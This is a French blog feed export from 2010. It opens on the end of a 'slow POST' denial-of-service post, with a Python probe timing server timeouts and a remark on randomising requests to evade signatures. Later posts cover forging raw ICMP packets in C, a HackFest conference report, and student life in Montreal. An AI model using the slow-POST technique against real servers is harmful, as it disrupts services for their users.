<p>Créons une classe pour forger une requête HTTP POST. Rien d&#8217;extraordinaire. Comme nous sommes un peu vicieux, on rend aléatoires certains champs afin d&#8217;éviter de générer tout le temps la même signature. C&#8217;est assez simpliste et vraiment très louche mais soit.<br />
Je rends aléatoire également la chaîne de caractère envoyée ainsi que sa longueur.</p>
<p>Nous avons maintenant besoin d&#8217;une nouvelle classe que j&#8217;appellerai Probe.</p>
<pre class="prettyprint linenumstrigger linenums">from httpWorker import *
import time
import urlparse
import socket
import sys

class Probe:
    def __init__(self, url=&quot;http://localhost/&quot;, port=80):
        # i know
        self.http = httpWorker(url=url)
        self.port = port

    def probe(self):
        # set time
        a_time = time.time()

        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect((self.http.url.netloc, self.port))

        data = &quot;2&quot;

        self.sock.send(self.http.http_msg)

        # wait disconnection
        while(data != &quot;&quot;):
            data = self.sock.recv(1024)

        b_time = time.time()

        slow = b_time - a_time

        print(&quot;PROBING :&quot; + str(slow))

if __name__ == &quot;__main__&quot; :
    if(len(sys.argv) &amp;lt; 2):
        print(&quot;help : python probe.py URL [PORT-OPTIONNAL]&quot;)
        sys.exit(0)
    if(len(sys.argv) == 3):
        port = sys.argv[2]
    else:
        port = 80

    if(sys.argv[1][:len(&quot;http&quot;)] != &quot;http&quot;):
        url = &quot;http://&quot; + sys.argv[1]
    else:
        url = sys.argv[1]
    test = Probe(url, port)
    test.probe()</pre>
<p>Très simple encore ici, on mesure juste le temps entre la requête HTTP et la déconnexion (un paquet TCP avec pas de données). Vous noterez que j&#8217;ai fait un effort pour l&#8217;utilisation en ligne de commande <img src='http://www.deckard.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Le temps résultant est la valeur du compteur configuré sur le serveur pour jeter les connexions n&#8217;ayant pas fini d&#8217;envoyer leurs données dans le temps imparti.</p>
<p>Voilà c&#8217;est tout, une preuve de concept très simple et une attaque relativement facile à mettre en œuvre.</p>
<p>Pour information, le temps de se faire déconnecter sur ce blog avec un Content-Length incorrect est de 30 minutes soit le temps par défaut pour un serveur <strong>Apache</strong>. Google.fr tourne aux alentours de 4 minutes. Ceci n&#8217;a pas vraiment d&#8217;impact pour se défendre contre ce genre d&#8217;attaque, just say&#8217;in <img src='http://www.deckard.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Note : la première version comportait un bug, si vous tentiez d&#8217;atteindre une url à la racine d&#8217;un site sans ajouter de &#8220;/&#8221; à la fin, le programme plantait tout simplement. J&#8217;ai vraiment pas un métier facile.</p>
<p><strong>Mini post mortem</strong> :<br />
Après avoir fait quelques expérimentations, les serveurs Apaches rejettent les requêtes POST si elles ne sont pas dirigés à l&#8217;encontre d&#8217;un formulaire en témoigne cette superbe réponse du serveur (sur ce blog):</p>
<pre class="prettyprint linenumstrigger linenums">HTTP/1.0 501 Unsupported method ('POST')

Server: BaseHTTP/0.3 Python/2.5.2

Date: Fri, 03 Dec 2010 06:02:31 GMT

Content-Type: text/html

Connection: close</pre>
<h1>Unsupported method (&#8216;POST&#8217;)</h1>
<pre class="prettyprint linenumstrigger linenums">
Server does not support this operation</pre>
<p>Après lecture du compte rendu de l&#8217;<strong>OWASP</strong>, Apache ne permet comme je l&#8217;avais remarqué les POST n&#8217;importe où mais d&#8217;après leur dire, IIS serait plus laxiste.</p>
<p>La nouvelle version de l&#8217;utilitaire est bien plus maligne j&#8217;espère pouvoir vous montrer quelque chose qui marche vraiment très bientôt.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.deckard.fr/2010/12/03/slow-released-attack-ou-le-ddos-du-pauvre/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Forger un paquet ICMP</title>
		<link>http://www.deckard.fr/2010/11/26/forger-un-paquet-icmp/</link>
		<comments>http://www.deckard.fr/2010/11/26/forger-un-paquet-icmp/#comments</comments>
		<pubDate>Fri, 26 Nov 2010 21:09:42 +0000</pubDate>
		<dc:creator>deckard</dc:creator>
				<category><![CDATA[C++]]></category>
		<category><![CDATA[InfoSec]]></category>
		<category><![CDATA[icmp]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[ping]]></category>

		<guid isPermaLink="false">http://wp.star-killer.net/?p=389</guid>
		<description><![CDATA[Si vous voulez savoir ce que je fais le vendredi soir ou si tout simplement vous vous intéressez à l&#8217;Internet, voici comment forcer un paquet ICMP de type 8 ou en terme moins pédant comment forger un ping. Prenons une analogie postale pour expliquer le concept. J&#8217;utilise une enveloppe pour envoyer un message par le [...]]]></description>
			<content:encoded><![CDATA[<p>Si vous voulez savoir ce que je fais le vendredi soir ou si tout simplement vous vous intéressez à l&#8217;<strong>Internet</strong>, voici comment forcer un paquet <strong>ICMP</strong> de type 8 ou en terme moins pédant comment forger un ping.</p>
<p>Prenons une analogie postale pour expliquer le concept. J&#8217;utilise une enveloppe pour envoyer un message par le biais de la poste. Cette enveloppe à un timbre, une adresse et une adresse de retour. Forger un paquet revient à construire cette enveloppe et à remplir les champs d&#8217;adresses à la main. Je vais plus précisément forger un paquet <strong>ICMP</strong> de type <strong>ping</strong>. <strong>ICMP</strong> est un protocole qui se situe juste au dessus de la couche <strong>IP</strong>. Il ne repose pas ainsi sur <strong>UDP</strong> ou <strong>TCP</strong>.</p>
<p>Je me suis aidé de l&#8217;excellent tutorial de <a href="http://mixter.void.ru/rawip.html">mixter</a>. Ce dernier forge un paquet TCP sur <strong>Unix</strong>. Je vous propose de faire un paquet ICMP sur Windows (pour changer !).</p>
<p>Tout d&#8217;abord précisons les types de données. Nous utiliserons la définition des sockets BSD. </p>
<pre class="prettyprint linenumstrigger linenums">
/*
* type.h
* Internet Protocol Stack
*/

struct ipheader {
 unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */
 unsigned char ip_tos;
 unsigned short int ip_len;
 unsigned short int ip_id;
 unsigned short int ip_off;
 unsigned char ip_ttl;
 unsigned char ip_p;
 unsigned short int ip_sum;
 unsigned int ip_src;
 unsigned int ip_dst;
}; /* total ip header length: 20 bytes (=160 bits) */
typedef struct ipheader ipheader_t;

struct icmpheader {
 unsigned char icmp_type;
 unsigned char icmp_code;
 unsigned short int icmp_cksum;
 /* The following data structures are ICMP type specific */
 unsigned short int icmp_id;
 unsigned short int icmp_seq;
}; /* total icmp header length: 8 bytes (=64 bits) */
typedef struct icmpheader icmpheader_t;
</pre>
<p>Je vous sers tout cela d&#8217;un coup car cela n&#8217;a pas réellement d&#8217;importance. Nous forgeons un paquet à partir de la couche IP. Donc nous avons besoin de définir les champs de la couche <strong>IP</strong> puis de la couche <strong>ICMP</strong>. Si vous n&#8217;avez aucune idée à quoi cela peut ressembler, regardez ce schéma <a href="http://fr.wikipedia.org/wiki/IPv4">Wikipedia</a>. Vous y avez la description de l&#8217;en-tête IP. Tout ce que la structure de données représente, ce sont les champs de cet en-tête. Et nous faisons de même avec l&#8217;en-tête ICMP.</p>
<p>Rentrons ensuite dans le vif du sujet. Définissons les en-têtes de notre programme :</p>
<pre class="prettyprint linenumstrigger linenums">
/* platform dependent */
#ifdef _WIN32

#include &lt;winsock2.h&gt;
#include &lt;ws2tcpip.h&gt;

#endif

/* common headers */
#include &quot;type.h&quot;
#include &quot;stdio.h&quot;
#include &quot;utils.h&quot;

#define SOURCE &quot;192.168.2.10&quot;
#define TARGET &quot;192.168.2.1&quot;

#define ICMP_PING 8
</pre>
<p>A noter que le fichier <strong>utils.h</strong> est le fichier qui contient les en-têtes IP et ICMP (en d&#8217;autre termes, vous devez créer ce fichier et mettre les structures dedans). Le reste c&#8217;est du très classique avec les en-têtes Windows pour les sockets et la bibliothèque standard. Vous noterez que les adresses sont codées en dur. Pour débugger j&#8217;utilise mon ordinateur et mon routeur (la boucle locale sur <strong>Windows 7</strong> n&#8217;est pas capturable avec <strong>Wireshark</strong>, enfin). Le <strong>ICMP_PING</strong> désigne le type de paquet ICMP, ici un ping (ou 8 en langage machine).</p>
<p>Plaçons nous ensuite dans une fonction main. On déclare nos variables :</p>
<pre class="prettyprint linenumstrigger linenums">
/* init data type */
    int c_socket = 0;
    icmpheader_t *h_icmp = NULL;
    ipheader_t *h_ip = NULL;
    struct sockaddr_in sin_in;
    struct sockaddr_in sin_out;
    char *packet = NULL;
    int len_packet = 0;
    char buffer[4096];
    int sizelen;

    int ret = 0;

    #ifdef _WIN32
    /* Init stack */
    WSADATA wsaData;

    WSAStartup(MAKEWORD(2,2), &amp;wsaData);
    #endif

    /* init socket */
    c_socket = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);

    {   /* force kernel to not add header before packet */
        int one = 1;
        const int *val = &amp;one;
        if (setsockopt(c_socket, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) &lt; 0)
            printf (&quot;Warning: Cannot set HDRINCL!n&quot;);
    }
</pre>
<p>On initialise donc nos buffers et nos pointeurs. On s&#8217;en servira plus tard. Le seul point à retenir est la création d&#8217;un socket en mode <strong>RAW</strong>. On s&#8217;assure ensuite que le kernel n&#8217;ajoutera pas accidentellement des headers de son jus ce qui ferait doublon avec les nôtres (et forcement ça marche moins bien après). Ce bout de code est <strong>mixter</strong> approved, donc pas de commentaire haineux s&#8217;il vous plait (des accolades au milieu du code, toussa toussa) !</p>
<pre class="prettyprint linenumstrigger linenums">
/* init packet */
        len_packet = sizeof(ipheader_t) + sizeof(icmpheader_t); /* set packet size */
        packet = malloc(len_packet);
        h_ip  = (ipheader_t*) packet; /* put ip header at the beginning */
        h_icmp = (icmpheader_t*)(packet + sizeof(ipheader_t));
                            /* put icmp header after ip header */

        memset(packet, 0, len_packet); /* clear */
</pre>
<p>On calcul la taille du paquet qui ne contiendra que des en-têtes (on pourrait rajouter du payload facilement mais ce n&#8217;est pas le sujet). On fait ensuite pointer nos en-têtes sur les parties du paquet qui leur conviennent. Comme ICMP est encapsulé dans IP, il est normal que l&#8217;en-tête IP se situe avant celui d&#8217;ICMP mais je ne vous apprend rien. Il est très important de mettre à 0 tous les champs du paquets. Et oui ami de <strong>Java</strong>, <strong>C</strong> ne fait pas ça pour vous.</p>
<pre class="prettyprint linenumstrigger linenums">
/* init ip header */
        h_ip-&gt;ip_hl = 5;
        h_ip-&gt;ip_v = 4;
        h_ip-&gt;ip_tos = 0;
        h_ip-&gt;ip_len = len_packet;
        h_ip-&gt;ip_id = htonl(54321);
        h_ip-&gt;ip_off = 0;
        h_ip-&gt;ip_ttl = 255;
        h_ip-&gt;ip_p = IPPROTO_ICMP;
        h_ip-&gt;ip_sum = 0; /* 0 means filled by the kernel before transmission */
        h_ip-&gt;ip_src = inet_addr(SOURCE);
        h_ip-&gt;ip_dst = inet_addr(TARGET);

        /* init icmp header */
        h_icmp-&gt;icmp_type = ICMP_PING;
        h_icmp-&gt;icmp_code = 0;
        h_icmp-&gt;icmp_id = 0;
        h_icmp-&gt;icmp_seq = 0;
        h_icmp-&gt;icmp_id = htons(0x01);
        h_icmp-&gt;icmp_seq = htons(0x0a);

        h_icmp-&gt;icmp_cksum = 0; /* serious stuff */
        h_icmp-&gt;icmp_cksum = csum((unsigned short*)h_icmp, sizeof(icmpheader_t));
</pre>
<p>Nous initialisons les champs des en-têtes. La seule chose importante à retenir à mon sens est le cheksum ICMP. Ce dernier est calculé de la même façon que celui d&#8217;IP. Cependant le kernel calcul tout seul le checksum pour le paquet IP, ICMP n&#8217;a pas le droit à cette faveur. Nous utilisons donc un bout de code issu de la <strong>RFC 1705</strong>. Cette RFC date de 1988 et comportait une erreur. A la vue d&#8217;une erreur j&#8217;étais excité à l&#8217;idée de faire un rapport de bug mais il semble que le bug ait été rapporté en 2004. Donc bref voici la fonction de checksum.</p>
<pre class="prettyprint linenumstrigger linenums">
unsigned short      /* this function generates header checksums RFC 1705*/
csum (unsigned short *addr, int count)
{
    /* Compute Internet Checksum for &quot;count&quot; bytes
    *         beginning at location &quot;addr&quot;.
    */
    long sum = 0;

    while( count &gt; 1 )
    {
        /*  This is the inner loop */
        sum += * (unsigned short *) addr++;
        count -= 2;
    }

    /*  Add left-over byte, if any */
    if( count &gt; 0 )
        sum += * (unsigned char *) addr;

    /*  Fold 32-bit sum to 16 bits */
    while (sum&gt;&gt;16)
        sum = (sum &amp; 0xffff) + (sum &gt;&gt; 16);

    return ~sum;
}
</pre>
<p>Il y a des manières plus malignes de le faire (<strong>mixter</strong> encore lui !). </p>
<p>Maintenant nous sommes prêt à envoyer ce maudit paquet et à recevoir le pong en retour.</p>
<pre class="prettyprint linenumstrigger linenums">
        sin_out.sin_family = AF_INET;
        sin_out.sin_addr.s_addr = inet_addr(TARGET);

        /* send icmp echo */
        ret = sendto(c_socket, packet, h_ip-&gt;ip_len, 0, (struct sockaddr*)&amp;sin_out, sizeof(struct sockaddr));
        printf(&quot;ret : %dn&quot;, ret);
        if(ret != h_ip-&gt;ip_len)
            printf(&quot;ERROR sendto&quot;);

        sizelen = sizeof(struct sockaddr);
        /* receive echo reply */
        ret = recvfrom(c_socket, buffer, len_packet, 0, (struct sockaddr*)&amp;sin_in, &amp;sizelen);

        if(ret != len_packet)
            printf(&quot;ERROR rcvfrom&quot;);
</pre>
<p>Rien d&#8217;extraordinaire non plus ici. Vous noterez le stockage inutile de l&#8217;adresse de l&#8217;émetteur du pong.</p>
<p>Et enfin un peu de code pour nettoyer tout ça.</p>
<pre class="prettyprint linenumstrigger linenums">
    /* clean the mess */

    #ifdef _WIN32
    closesocket(c_socket);
    WSACleanup();
    #endif

    if(h_icmp)
        free(h_icmp);
    if(h_ip)
        free(h_ip);
    if(packet)
        free(packet);

    return 0;
</pre>
<p>Voilà une implémentation basique mais néanmoins complète d&#8217;un <strong>ping</strong>. A noter qu&#8217;il faut être root ou administrateur pour faire marcher le bousin. Vous pouvez maintenant imaginer forger à peut près n&#8217;importe quoi et même inventer votre propre protocole de couche 3 ou 4.</p>
<p>Edit : Je mélange allègrement Anglais et Français dans cet article, je m&#8217;excuse mais c&#8217;est une déformation professionnelle <img src='http://www.deckard.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.deckard.fr/2010/11/26/forger-un-paquet-icmp/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>HackFest 2010</title>
		<link>http://www.deckard.fr/2010/11/07/hackfest-2010/</link>
		<comments>http://www.deckard.fr/2010/11/07/hackfest-2010/#comments</comments>
		<pubDate>Sun, 07 Nov 2010 20:31:09 +0000</pubDate>
		<dc:creator>deckard</dc:creator>
				<category><![CDATA[Geekerie]]></category>
		<category><![CDATA[Vismavie]]></category>
		<category><![CDATA[hackfest]]></category>
		<category><![CDATA[québec]]></category>

		<guid isPermaLink="false">http://wp.star-killer.net/?p=380</guid>
		<description><![CDATA[L&#8217;édition 2010 de la HackFest s&#8217;est déroulée le 5 et 6 novembre dans la charmante ville de Québec. Nous avons décidé avec Benji de tenter l&#8217;aventure le samedi, nous décidant au dernier moment. Départ et arrivée Nous nous sommes embarqués donc depuis Montréal vers Québec en bus. La compagnie était Orléans Express, la seule qui [...]]]></description>
			<content:encoded><![CDATA[<p>L&#8217;édition 2010 de la <strong>HackFest</strong> s&#8217;est déroulée le 5 et 6 novembre dans la charmante ville de <strong>Québec</strong>. Nous avons décidé avec <strong>Benji</strong> de tenter l&#8217;aventure le samedi, nous décidant au dernier moment.</p>
<h1>Départ et arrivée</h1>
<p>Nous nous sommes embarqués donc depuis <strong>Montréal</strong> vers <strong>Québec</strong> en bus. La compagnie était <strong>Orléans Express</strong>, la seule qui fasse le trajet de 3h15. La conférence ouvrait ses portes à 9h du matin, nous avions donc le temps de nous embêter. Heureusement que les gares de bus sont vraiment trop bien climatisées la nuit car nous avons eu très froid. En témoigne la photo de cet animal en voie de disparition, tragique :</p>
<p><center></p>
<div class='media-content'>
<p><a href="http://nobunaga.duc.free.fr/deckard/hackfest2010/image001.png" title="Espece poilue"><img src="http://nobunaga.duc.free.fr/deckard/hackfest2010/th_image001.png" alt="" /></a></p>
</div>
<p></center></p>
<p>Nous avons également tenté le petit déjeuner à la gare de bus. Bien nous en a pris, c&#8217;était non seulement cher mais également dégueulasse. Mention spéciale au cuistot qui mettait un petit coup de bombe aérosol avant de faire réchauffer les sandwichs dans les plaques.<br />
S&#8217;en est suivie une grande aventure pour trouver un arrêt de bus (la conférence étant dans un hôtel excentré du centre).</p>
<h1>La conférence</h1>
<p>Nous arrivons en bus une heure en avance. Nous décidons donc d&#8217;attendre l&#8217;ouverture. Vers 8h40 nous sommes en tête de la file d&#8217;attente. Le seul hic est que nous n&#8217;avions rien réservé. La nana en charge de la caisse nous fera un petit clin d&#8217;oeil : &#8220;vous aimez vivre dangereusement vous&#8221;. Et nous voila à l&#8217;intérieur avec un joli badge avec marqué au dos la liste des conférences. Je vous déroule conférence par conférence avec mes petits commentaires.<br />
Vous pouvez trouver une biographie des intervenants sur le site de <a href="" title="http://www.hackfest.ca/?a=conf">HackFest</a></p>
<h2>Le GPU à la rescousse du CPU</h2>
<p>Présentée par <strong>Charles Demers-Trembley</strong>, cette présentation nous a introduit au calcul parallèle (CUDA) avec des GPU pour notamment casser des hash de mots de passe en local. La machine était impressionnante mais chauffait très rapidement. En moins de 4 minutes, les 4 Geforce GTI montaient à 90°C. Le mec avait même un indicateur de Watt branché sur la prise pour éviter l&#8217;accident technique. Ce n&#8217;était certes pas une présentation très intéressante techniquement mais elle avait le mérite d&#8217;introduire les outils gratuit et payant. Après l&#8217;intérêt venait de la démonstration qui est impressionnante de part la configuration qui n&#8217;est pas commune.</p>
<h2>Comment détecter des virus inconnus en utilisant des &#8220;honey pots&#8221; et d&#8217;autres technologies&#8221;</h2>
<p>Une présentation de <strong>David Girard</strong> qui travaille chez <strong>Trend Micro</strong>. Peut être la conférence la plus intéressante ou du moins qui a mis le projecteur sur un domaine très inconnu du grand public, le monde des éditeurs d&#8217;anti-virus. Un &#8220;honey-pot&#8221; est une sorte de piège à virus. Un éditeur de virus essayera en effet pour mettre à jour ses logiciels d&#8217;attraper le plus de virus possible pour pouvoir les observer en milieu clos et ainsi en extraire les informations nécessaires à leur détection. S&#8217;en suit des détails techniques et des noms de logiciels utilisés dans cette quête. </p>
<h2>Stack Smashing Protector</h2>
<p>Présentation faite par <strong>Paul Rascagneres</strong>. Un bon gros nerd Unix qui n&#8217;arrive pas à configurer la résolution de son écran pour un rétroprojecteur. A sa décharge, les deux rétroprojecteurs étaient de résolutions différentes. Peut-être que <strong>X</strong> ne sait tout simplement pas le faire. Donc une petite présentation avec beaucoup de code et de <strong>dbg</strong> sur le mécanisme de protection de pile avec fanion (canary dans le jargon). Intéressant et vraiment documenté avec les bouts de code. Il est juste dommage qu&#8217;il n&#8217;ait pas présenté un petit benchmark suivant les plateformes testées et avec le mécanisme de protection ou sans. </p>
<h2>Data Leakage Protection</h2>
<p>Monsieur <strong>Guy Bruneau</strong> nous a présenté les techniques utilisant des expressions régulières pour l&#8217;administration système. C&#8217;était du niveau de l&#8217;utilisation de <strong>grep</strong> pour construire des rapports un peu plus sexy qu&#8217;avec <strong>syslog</strong>. Pas transcendant lorsqu&#8217;on a mangé de la théorie des langages pendant sa scolarité mais toujours utile de faire un petit rappel.</p>
<h2>Postnet : Une nouvelle ère de Botnet résilient</h2>
<p>Présenté par deux étudiants, <strong>Julien Desfossez</strong> et <strong>David Goulet</strong>, cette conférence portait sur les réseaux de <strong>botnet</strong>. Mais si vous savez, tous ces pc transformés en zombie pour envoyer du spam. Et bien là, les deux compères ont présenté les concepts sous-jacents à de tels réseaux. N&#8217;entrant pas dans les détails techniques, il fallait attraper les &#8220;buzzword&#8221; pour comprendre le fonctionnement sous-jacent de tout ça. Cependant extrêmement intéressant car c&#8217;est un sujet mal documenté et très obscur. Ça m&#8217;a donné envie d&#8217;en écrire un <img src='http://www.deckard.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h2>Mot de passe et mécanismes d&#8217;authentification</h2>
<p>Peut être la meilleure présentation réalisé par <strong>Thomas Pornin</strong>. Il reprend des concepts très simples (compréhensibles sans pré-requis particulier) et les explique de manière posée. C&#8217;est ce que j&#8217;aime dans les études françaises. On part du bas pour aller vers le haut. De la preuve mathématique vers l&#8217;algorithme. C&#8217;est ce qu&#8217;il manque dans ce beau <strong>Canada</strong>, un peu de théorie fondamentale. Et mine de rien cela pose les bases d&#8217;une meilleure compréhension de la sécurité et des outils associés. Rien que pour ça, cette conférence est nécessaire. Ce serait un très bon cours de sécurité en soi.</p>
<h2>Into the black : Explorations in DPRK</h2>
<p>Quand un type farfelu vous parle de l&#8217;Internet en <strong>Corée du Nord</strong> et que ce type a des cheveux trop longs, cela ne peut être que <strong>Mike Temp</strong>. Complétement déjanté et délibérément provocateur, sa présentation était suffisamment dans le registre tragico-comique pour nous faire au moins un peu réfléchir. Mention spéciale tout de même aux diapos composées seulement d&#8217;images.</p>
<h1>Bilan</h1>
<p>Très bonne impression. On se marre bien, les sujets sont tous intéressants. Le choix des conférences est varié et les conférenciers bons. Que demande le peuple de plus ? Des photos ? Bon ok. Avec en bonus un nouveau concept de boisson. Après les boissons énergisantes, les boissons qui rendent molasson. Et c&#8217;est fait à <strong>Québec</strong> (les mauvaises langues diront qu&#8217;il y a un rapport). </p>
<p><center></p>
<div class='media-content'>
<p><a href="http://nobunaga.duc.free.fr/deckard/hackfest2010/image002.png" title="Paul Rascagnere met en place son microphone"><img src="http://nobunaga.duc.free.fr/deckard/hackfest2010/th_image002.png" alt="" /></a></p>
<p><a href="http://nobunaga.duc.free.fr/deckard/hackfest2010/image003.png" title="Deuxième écran et Thomas Pomin de dos"><img src="http://nobunaga.duc.free.fr/deckard/hackfest2010/th_image003.png" alt="" /></a></p>
<p><a href="http://nobunaga.duc.free.fr/deckard/hackfest2010/image004.png" title="Freeeeee drinkkkkkkkkk"><img src="http://nobunaga.duc.free.fr/deckard/hackfest2010/th_image004.png" alt="" /></a></p>
<p><a href="http://nobunaga.duc.free.fr/deckard/hackfest2010/image005.png" title="Slow Cow, c'est aussi un logo"><img src="http://nobunaga.duc.free.fr/deckard/hackfest2010/th_image005.png" alt="" /></a></p>
</div>
<p></center></p>
]]></content:encoded>
			<wfw:commentRss>http://www.deckard.fr/2010/11/07/hackfest-2010/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Les examens au Canada</title>
		<link>http://www.deckard.fr/2010/10/28/les-examens-au-canada/</link>
		<comments>http://www.deckard.fr/2010/10/28/les-examens-au-canada/#comments</comments>
		<pubDate>Wed, 27 Oct 2010 23:41:31 +0000</pubDate>
		<dc:creator>deckard</dc:creator>
				<category><![CDATA[Vismavie]]></category>
		<category><![CDATA[canada]]></category>
		<category><![CDATA[examen]]></category>
		<category><![CDATA[québec]]></category>

		<guid isPermaLink="false">http://wp.star-killer.net/?p=376</guid>
		<description><![CDATA[Je sors d&#8217;une période d&#8217;examen qu&#8217;on appelle ici pudiquement des intra. C&#8217;est l&#8217;occasion rêvée de vous exposer comment ça marche ici à Montréal ! Salut les jeunes, bon j&#8217;ai presque fini mes examens mais pas totalement. En réalité il m&#8217;en reste un mais c&#8217;est du Java donc ça compte pas. Passons aux choses sérieuses. Pour [...]]]></description>
			<content:encoded><![CDATA[<p>Je sors d&#8217;une période d&#8217;examen qu&#8217;on appelle ici pudiquement des intra. C&#8217;est l&#8217;occasion rêvée de vous exposer comment ça marche ici à Montréal !</p>
<p>Salut les jeunes, bon j&#8217;ai presque fini mes examens mais pas totalement. En réalité il m&#8217;en reste un mais c&#8217;est du <strong>Java</strong> donc ça compte pas. </p>
<p>Passons aux choses sérieuses. Pour situer le contexte, je suis en 5eme année d&#8217;ingénieur. J&#8217;ai fait toute ma scolarité en <strong>France</strong>. Je finis maintenant tout ça au <strong>Canada</strong> et plus précisément à <strong>Montréal</strong>. Je suis aussi dans les télécommunications mais ça tout le monde s&#8217;en fout alors que c&#8217;est vachement cool.</p>
<p>Pour avoir un diplôme d&#8217;ingénieur au <strong>Canada</strong> (je généralise le système du Québec mais je ne sais pas si je peux, dans le doute je fonce), il faut finir un Baccalauréat. C&#8217;est en 4 ans et c&#8217;est un peu glandouille. Là-bas, tout marche par session ou trimestre. A chaque trimestre l&#8217;étudiant choisit ses cours et ainsi de suite jusqu&#8217;à un certain nombre de crédits où on lui donne un diplôme. En 4 ans grosso modo donc. Là où c&#8217;est drôle et triste à la fois, c&#8217;est que le fait de choisir ses cours fait que les mecs ne se connaissent jamais. C&#8217;est simple personne ne se connait dans les classes. Il n&#8217;y a pas comme je le disais dans un autre article d&#8217;esprit de corps. C&#8217;est tout à fait hallucinant pour quelqu&#8217;un comme moi qui vient d&#8217;une école où le monde se connaissait et s&#8217;amusait dans la bonne humeur. Et pourtant je suis un peu associable. </p>
<p>Sinon il y a la maîtrise qui se fait en 6 ans mais c&#8217;est un peu branlette. Les mecs ne font pas de travaux pratiques et remplacent cela par des lectures d&#8217;articles scientifiques. C&#8217;est une formation à broyer du papier et à faire du copier/coller d&#8217;article. C&#8217;est ce que j&#8217;ai entendu dire, c&#8217;est pourquoi on retrouve majoritairement dans ces formations des <strong>Français</strong> ou des populations maghrébines (beaucoup, mon meilleur binôme est par exemple <strong>Tunisien</strong>). </p>
<p>Je rajoute que pendant le baccalauréat, trois stages sont obligatoires et je rajouterai même que beaucoup d&#8217;étudiants bossent pendant leurs études ce qui n&#8217;arrange pas le côté un peu perso et individualiste de toute la gang (oui au <strong>Québec</strong> les mots anglais sont féminins alors ferme ta switch s&#8217;il te plaît).</p>
<p>Sinon le <strong>Québecois</strong> n&#8217;est pas très nerveux au boulot. Je sais que je ne suis pas quelqu&#8217;un de facile pour travailler avec, mais il y a des limites. Cela vient du fait non seulement que le rapport d&#8217;autorité est complètement inversé (les élèves font des commentaires et des réclamations d&#8217;un niveau qu&#8217;on ne peut pas imaginer en <strong>France</strong> même avec beaucoup de mauvaise foi et j&#8217;en ai) mais les travaux pratiques (ici laboratoire) sont très facilement notés. Les systèmes de <strong>quizz</strong>(petit devoir de 20 minutes assez facile) le sont également. Tout cela fait que le <strong>Québecois</strong> ne connait pas la pression et qu&#8217;il est pépère car le taux d&#8217;échec est très très bas. Cela peut s&#8217;expliquer par le fait que les cours sont payants, les associations étudiantes sont très puissantes (les profs mal notés passent devant la commission des élèves, j&#8217;en connais qui serrent les fesses).</p>
<p>Mais je m&#8217;égare totalement dans mon exposé. Pour peu qu&#8217;on trouve les bons, certains <strong>Québecois</strong> sont vraiment cool et brillants. Juste pas tous. J&#8217;ai juste fini pas plus tard que hier un devoir à 5h30 du matin parce que mon binôme de maîtrise (censé être un semi dieu par rapport à moi) pense qu&#8217;un code unitaire mal codé vaut preuve de bon fonctionnement. J&#8217;ai appris <strong>J2EE</strong> et <strong>JavaME</strong> en une soirée bien condensée et je n&#8217;en veux plus non merci.</p>
<p>Bref, j&#8217;allais parler des examens. Toujours dans la veine zen, cela ne gêne personne que certains arrivent en retard (pas stressés non plus, ça me rappelle quand je jouais ma vie sur chaque ds de maths en prépa), se lèvent pour interroger le professeur. On est pas dans la révision intense, si je révise la veille au soir c&#8217;est bien et si j&#8217;ai plus d&#8217;un devoir par jour c&#8217;est déjà trop. Ici, on ne répond pas à une question si l&#8217;on ne connait pas la réponse ! </p>
<p>Je m&#8217;égare encore. Les examens sont presque exclusivement réalisés avec des crayons de bois. Je dois être le seul à utiliser mon stylo plume (qui est un concept inédit ici). On nous donne des feuillets de pages à remplir. Le papier est trop fin pour mon stylo plume donc j&#8217;écris sur seulement un recto. A cause de mon style d&#8217;écriture, j&#8217;écris beaucoup de feuillets et cela semble assez peu banal. Je n&#8217;ai pas d&#8217;examen de matière calculatoire, seulement du blabla donc c&#8217;est assez aisé. </p>
<p>Voilà vous savez tout !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.deckard.fr/2010/10/28/les-examens-au-canada/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>L&#8217;été Indien</title>
		<link>http://www.deckard.fr/2010/10/03/lete-indien/</link>
		<comments>http://www.deckard.fr/2010/10/03/lete-indien/#comments</comments>
		<pubDate>Sun, 03 Oct 2010 20:00:05 +0000</pubDate>
		<dc:creator>deckard</dc:creator>
				<category><![CDATA[Vismavie]]></category>
		<category><![CDATA[canada]]></category>
		<category><![CDATA[été]]></category>
		<category><![CDATA[indien]]></category>

		<guid isPermaLink="false">http://wp.star-killer.net/?p=372</guid>
		<description><![CDATA[Petite sortie forestière en compagnie de ma colocataire et de ses collègues de travail. C&#8217;était le week-end dit de l&#8217;été Indien. Les feuilles tombent pour laisser place à l&#8217;hiver. Comme personne n&#8217;avait de voiture, nous avons loué un monstre de Toyota, une sorte de van 8 places. La voiture en soi était moche mais le [...]]]></description>
			<content:encoded><![CDATA[<p>Petite sortie forestière en compagnie de ma colocataire et de ses collègues de travail. C&#8217;était le week-end dit de l&#8217;été <strong>Indien</strong>. Les feuilles tombent pour laisser place à l&#8217;hiver.</p>
<p>Comme personne n&#8217;avait de voiture, nous avons loué un monstre de <strong>Toyota</strong>, une sorte de van 8 places. La voiture en soi était moche mais le luxe était là avec la petite caméra sur le tableau de bord lorsque la marche arrière était enclenchée.</p>
